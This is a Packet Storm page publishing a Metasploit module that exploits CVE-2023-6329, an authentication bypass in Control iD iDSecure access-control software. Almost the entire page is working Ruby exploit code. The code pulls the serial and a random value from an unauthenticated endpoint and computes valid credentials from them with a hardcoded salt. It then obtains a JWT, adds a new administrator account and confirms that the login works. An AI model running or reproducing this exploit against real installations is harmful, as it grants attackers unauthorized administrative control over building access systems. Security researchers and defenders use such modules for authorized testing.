exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Control ID IDSecure Authentication Bypass

Control ID IDSecure Authentication Bypass
Posted Aug 31, 2024
Authored by Michael Heinzl, Tenable | Site metasploit.com

This Metasploit module exploits an improper access control vulnerability (CVE-2023-6329) in Control iD iDSecure less than or equal to v4.7.43.0. It allows an unauthenticated remote attacker to compute valid credentials and to add a new administrative user to the web interface of the product.

tags | exploit, remote, web
advisories | CVE-2023-6329
SHA-256 | a6c6f27ff6d782d0a38702442098d51b3a489db908ce682fc3fde965ed920953

Control ID IDSecure Authentication Bypass

Change Mirror Download
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
CheckCode = Exploit::CheckCode

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Control iD iDSecure Authentication Bypass (CVE-2023-6329)',
'Description' => %q{
This module exploits an improper access control vulnerability (CVE-2023-6329) in Control iD iDSecure <= v4.7.43.0. It allows an
unauthenticated remote attacker to compute valid credentials and to add a new administrative user to the web interface of the product.
},
'Author' => [
'Michael Heinzl', # MSF Module
'Tenable' # Discovery and PoC
],
'References' => [
['CVE', '2023-6329'],
['URL', 'https://www.tenable.com/security/research/tra-2023-36']
],
'DisclosureDate' => '2023-11-27',
'DefaultOptions' => {
'RPORT' => 30443,
'SSL' => 'True'
},
'License' => MSF_LICENSE,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]
}
)
)

register_options([
OptString.new('NEW_USER', [true, 'The new administrative user to add to the system', Rex::Text.rand_text_alphanumeric(8)]),
OptString.new('NEW_PASSWORD', [true, 'Password for the specified user', Rex::Text.rand_text_alphanumeric(12)])
])
end

def check
begin
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'api/util/configUI')
})
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
return CheckCode::Unknown
end

return CheckCode::Unknown unless res&.code == 401

data = res.get_json_document
version = data['Version']
return CheckCode::Unknown if version.nil?

print_status('Got version: ' + version)
return CheckCode::Safe unless Rex::Version.new(version) <= Rex::Version.new('4.7.43.0')

return CheckCode::Appears
end

def run
# 1) Obtain the serial and passwordRandom
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'api/login/unlockGetData')
)

unless res
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
end
unless res.code == 200
fail_with(Failure::UnexpectedReply, res.to_s)
end

json = res.get_json_document
unless json.key?('passwordRandom') && json.key?('serial')
fail_with(Failure::UnexpectedReply, 'Unable to retrieve passwordRandom and serial')
end

password_random = json['passwordRandom']
serial = json['serial']
print_good('Retrieved passwordRandom: ' + password_random)
print_good('Retrieved serial: ' + serial)

# 2) Create passwordCustom
sha1_hash = Digest::SHA1.hexdigest(serial)
combined_string = sha1_hash + password_random + 'cid2016'
sha256_hash = Digest::SHA256.hexdigest(combined_string)
short_hash = sha256_hash[0, 6]
password_custom = short_hash.to_i(16).to_s
print_status("Created passwordCustom: #{password_custom}")

# 3) Login with passwordCustom and passwordRandom to obtain a JWT
body = "{\"passwordCustom\": \"#{password_custom}\", \"passwordRandom\": \"#{password_random}\"}"

res = send_request_cgi({
'method' => 'POST',
'ctype' => 'application/json',
'uri' => normalize_uri(target_uri.path, 'api/login/'),
'data' => body
})

unless res
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
end
unless res.code == 200
fail_with(Failure::UnexpectedReply, res.to_s)
end

json = res.get_json_document
unless json.key?('accessToken')
fail_with(Failure::UnexpectedReply, 'Did not receive JWT')
end

access_token = json['accessToken']
print_good('Retrieved JWT: ' + access_token)

# 4) Add a new administrative user
body = {
idType: '1',
name: datastore['NEW_USER'],
user: datastore['NEW_USER'],
newPassword: datastore['NEW_PASSWORD'],
password_confirmation: datastore['NEW_PASSWORD']
}.to_json

res = send_request_cgi({
'method' => 'POST',
'ctype' => 'application/json',
'headers' => {
'Authorization' => "Bearer #{access_token}"
},
'uri' => normalize_uri(target_uri.path, 'api/operator/'),
'data' => body
})

unless res
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
end

unless res.code == 200
fail_with(Failure::UnexpectedReply, res.to_s)
end

json = res.get_json_document
unless json.key?('code') && json['code'] == 200 && json.key?('error') && json['error'] == 'OK'
fail_with(Failure::UnexpectedReply, 'Received unexpected value for code and/or error:\n' + json.to_s)
end

# 5) Confirm credentials work
body = {
username: datastore['NEW_USER'],
password: datastore['NEW_PASSWORD'],
passwordCustom: nil
}.to_json

res = send_request_cgi({
'method' => 'POST',
'ctype' => 'application/json',
'uri' => normalize_uri(target_uri.path, 'api/login/'),
'data' => body
})

unless res
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
end

unless res.code == 200
fail_with(Failure::UnexpectedReply, res.to_s)
end

json = res.get_json_document
unless json.key?('accessToken') && json.key?('unlock')
fail_with(Failure::UnexpectedReply, 'Received unexpected reply:\n' + json.to_s)
end

store_valid_credential(user: datastore['NEW_USER'], private: datastore['NEW_PASSWORD'], proof: json.to_s)
print_good("New user '#{datastore['NEW_USER']}:#{datastore['NEW_PASSWORD']}' was successfully added.")
print_good("Login at: #{full_uri(normalize_uri(target_uri, '#/login'))}")
end
end
Login or Register to add favorites

File Archive:

October 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    39 Files
  • 2
    Oct 2nd
    23 Files
  • 3
    Oct 3rd
    18 Files
  • 4
    Oct 4th
    20 Files
  • 5
    Oct 5th
    0 Files
  • 6
    Oct 6th
    0 Files
  • 7
    Oct 7th
    17 Files
  • 8
    Oct 8th
    66 Files
  • 9
    Oct 9th
    25 Files
  • 10
    Oct 10th
    20 Files
  • 11
    Oct 11th
    21 Files
  • 12
    Oct 12th
    0 Files
  • 13
    Oct 13th
    0 Files
  • 14
    Oct 14th
    14 Files
  • 15
    Oct 15th
    49 Files
  • 16
    Oct 16th
    28 Files
  • 17
    Oct 17th
    0 Files
  • 18
    Oct 18th
    0 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close